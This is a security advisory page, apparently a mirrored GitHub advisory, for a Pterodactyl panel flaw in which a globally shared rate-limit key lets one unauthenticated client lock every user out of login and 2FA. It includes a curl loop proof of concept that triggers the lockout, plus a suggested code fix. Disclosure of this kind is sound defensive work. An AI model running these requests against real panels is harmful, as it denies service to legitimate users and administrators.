GHSA-XVC3-826V-XF47

Vulnerability from github – Published: 2026-07-28 14:57 – Updated: 2026-07-28 14:57
VLAI
Summary
Pterodactyl's shared global rate-limit key on login and 2FA checkpoint enables unauthenticated panel-wide authentication lockout (DoS)
Details

Summary

The authentication rate limiter used for the login and two-factor checkpoint endpoints applies a single global bucket shared by every client, instead of keying per IP or per account. An unauthenticated attacker sending ~10 requests per minute from one IP exhausts the shared bucket and causes HTTP 429 for every user on every IP attempting to log in or complete 2FA, for as long as the attack is sustained. This is a trivially triggered, unauthenticated, panel-wide authentication denial of service.

Details

In app/Providers/RouteServiceProvider::configureRateLimiting() the limiter is defined as:

RateLimiter::for('authentication', function (Request $request) {
    if ($request->route()->named('auth.post.forgot-password')) {
        return Limit::perMinute(2)->by($request->ip());
    }

    return Limit::perMinute(10);
});

The forgot-password branch is correctly scoped with ->by($request->ip()). The fall-through return, which covers POST /auth/login and POST /auth/login/checkpoint (see routes/auth.php, the throttle:authentication group), omits ->by() entirely.

For a named limiter, Laravel 11 derives the cache key as md5($limiterName . $limit->key) (Illuminate\Routing\Middleware\ThrottleRequests::handleRequestUsingNamedLimiter). Limit::perMinute(10) is constructed with an empty key, so the resolved key is md5('authentication'), a constant identical for every incoming request. All clients therefore contend for one shared counter rather than one counter per source.

Two factors make this worse: - throttle:authentication is registered as group middleware in routes/auth.php, so it increments before the route-level recaptcha middleware on POST /auth/login. Requests count toward the limit regardless of reCAPTCHA outcome. - POST /auth/login/checkpoint has no reCAPTCHA at all, giving an attacker a clean, low-cost way to fill the shared bucket with malformed requests.

Once the 10/minute global limit is hit, the throttle returns 429 to all subsequent requests on those endpoints until the one-minute window decays. Repeating the burst each minute holds the panel in a permanent locked-out state for all legitimate users.

PoC

  1. Stand up a default Pterodactyl panel.
  2. From a single attacker IP, exhaust the shared bucket via the checkpoint endpoint (no reCAPTCHA):
for i in $(seq 1 11); do
  curl -s -o /dev/null -w "%{http_code}\n" \
    -X POST https://panel.example.com/auth/login/checkpoint \
    -H 'Content-Type: application/json' \
    -H 'X-Requested-With: XMLHttpRequest' \
    -d '{"confirmation_token":"x","authentication_code":"000000"}'
done

Requests 1-10 return a normal 4xx (validation/auth failure); request 11 returns 429 Too Many Requests.

  1. From a completely different IP and a valid account, attempt a normal login:
curl -s -o /dev/null -w "%{http_code}\n" \
  -X POST https://panel.example.com/auth/login \
  -H 'Content-Type: application/json' \
  -H 'X-Requested-With: XMLHttpRequest' \
  -d '{"user":"valid@example.com","password":"correct-horse"}'

This returns 429 despite being a different IP, different account, and valid credentials. Looping step 2 once per minute keeps every user locked out indefinitely.

Impact

This is an unauthenticated availability attack against authentication. Any internet-facing Pterodactyl panel can be made unusable for all users (login and 2FA verification both blocked) by a single low-bandwidth attacker, with no credentials, no privileges, and no user interaction. Administrators are locked out alongside regular users, hampering incident response. The forgot-password endpoint is unaffected because it is correctly keyed per IP.

Suggested fix: key the fall-through limit by request source, at minimum:

return Limit::perMinute(10)->by($request->ip());

Ideally combine the IP with the submitted identifier for login (e.g. ->by($request->ip() . '|' . (string) $request->input('user'))) and the IP plus confirmation token for the checkpoint, so brute-force protection per account is preserved while removing the shared global bucket.

Disclaimer

This report was written by AI, the bug itself was found and confirmed by the reporter.

Show details on source website

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 1.12.4"
      },
      "package": {
        "ecosystem": "Packagist",
        "name": "pterodactyl/panel"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "1.7.0"
            },
            {
              "fixed": "1.13.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-61609"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-770"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-07-28T14:57:59Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "### Summary\nThe `authentication` rate limiter used for the login and two-factor checkpoint endpoints applies a single global bucket shared by every client, instead of keying per IP or per account. An unauthenticated attacker sending ~10 requests per minute from one IP exhausts the shared bucket and causes HTTP 429 for every user on every IP attempting to log in or complete 2FA, for as long as the attack is sustained. This is a trivially triggered, unauthenticated, panel-wide authentication denial of service.\n\n### Details\nIn `app/Providers/RouteServiceProvider::configureRateLimiting()` the limiter is defined as:\n\n```php\nRateLimiter::for(\u0027authentication\u0027, function (Request $request) {\n    if ($request-\u003eroute()-\u003enamed(\u0027auth.post.forgot-password\u0027)) {\n        return Limit::perMinute(2)-\u003eby($request-\u003eip());\n    }\n\n    return Limit::perMinute(10);\n});\n```\n\nThe forgot-password branch is correctly scoped with `-\u003eby($request-\u003eip())`. The fall-through return, which covers `POST /auth/login` and `POST /auth/login/checkpoint` (see `routes/auth.php`, the `throttle:authentication` group), omits `-\u003eby()` entirely.\n\nFor a named limiter, Laravel 11 derives the cache key as `md5($limiterName . $limit-\u003ekey)` (`Illuminate\\Routing\\Middleware\\ThrottleRequests::handleRequestUsingNamedLimiter`). `Limit::perMinute(10)` is constructed with an empty `key`, so the resolved key is `md5(\u0027authentication\u0027)`, a constant identical for every incoming request. All clients therefore contend for one shared counter rather than one counter per source.\n\nTwo factors make this worse:\n- `throttle:authentication` is registered as group middleware in `routes/auth.php`, so it increments before the route-level `recaptcha` middleware on `POST /auth/login`. Requests count toward the limit regardless of reCAPTCHA outcome.\n- `POST /auth/login/checkpoint` has no reCAPTCHA at all, giving an attacker a clean, low-cost way to fill the shared bucket with malformed requests.\n\nOnce the 10/minute global limit is hit, the throttle returns 429 to all subsequent requests on those endpoints until the one-minute window decays. Repeating the burst each minute holds the panel in a permanent locked-out state for all legitimate users.\n\n### PoC\n1. Stand up a default Pterodactyl panel.\n2. From a single attacker IP, exhaust the shared bucket via the checkpoint endpoint (no reCAPTCHA):\n\n```bash\nfor i in $(seq 1 11); do\n  curl -s -o /dev/null -w \"%{http_code}\\n\" \\\n    -X POST https://panel.example.com/auth/login/checkpoint \\\n    -H \u0027Content-Type: application/json\u0027 \\\n    -H \u0027X-Requested-With: XMLHttpRequest\u0027 \\\n    -d \u0027{\"confirmation_token\":\"x\",\"authentication_code\":\"000000\"}\u0027\ndone\n```\n\nRequests 1-10 return a normal 4xx (validation/auth failure); request 11 returns `429 Too Many Requests`.\n\n3. From a completely different IP and a valid account, attempt a normal login:\n\n```bash\ncurl -s -o /dev/null -w \"%{http_code}\\n\" \\\n  -X POST https://panel.example.com/auth/login \\\n  -H \u0027Content-Type: application/json\u0027 \\\n  -H \u0027X-Requested-With: XMLHttpRequest\u0027 \\\n  -d \u0027{\"user\":\"valid@example.com\",\"password\":\"correct-horse\"}\u0027\n```\n\nThis returns `429` despite being a different IP, different account, and valid credentials. Looping step 2 once per minute keeps every user locked out indefinitely.\n\n### Impact\nThis is an unauthenticated availability attack against authentication. Any internet-facing Pterodactyl panel can be made unusable for all users (login and 2FA verification both blocked) by a single low-bandwidth attacker, with no credentials, no privileges, and no user interaction. Administrators are locked out alongside regular users, hampering incident response. The forgot-password endpoint is unaffected because it is correctly keyed per IP.\n\nSuggested fix: key the fall-through limit by request source, at minimum:\n\n```php\nreturn Limit::perMinute(10)-\u003eby($request-\u003eip());\n```\n\nIdeally combine the IP with the submitted identifier for login (e.g. `-\u003eby($request-\u003eip() . \u0027|\u0027 . (string) $request-\u003einput(\u0027user\u0027))`) and the IP plus confirmation token for the checkpoint, so brute-force protection per account is preserved while removing the shared global bucket.\n\n### Disclaimer\nThis report was written by AI, the bug itself was found and confirmed by the reporter.",
  "id": "GHSA-xvc3-826v-xf47",
  "modified": "2026-07-28T14:57:59Z",
  "published": "2026-07-28T14:57:59Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/pterodactyl/panel/security/advisories/GHSA-xvc3-826v-xf47"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/pterodactyl/panel"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Pterodactyl\u0027s shared global rate-limit key on login and 2FA checkpoint enables unauthenticated panel-wide authentication lockout (DoS)"
}



Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…

Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.

Sightings

Author Source Type Date Other

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Loading…

Detection rules are retrieved from Rulezet.

Loading…

Loading…

Loading…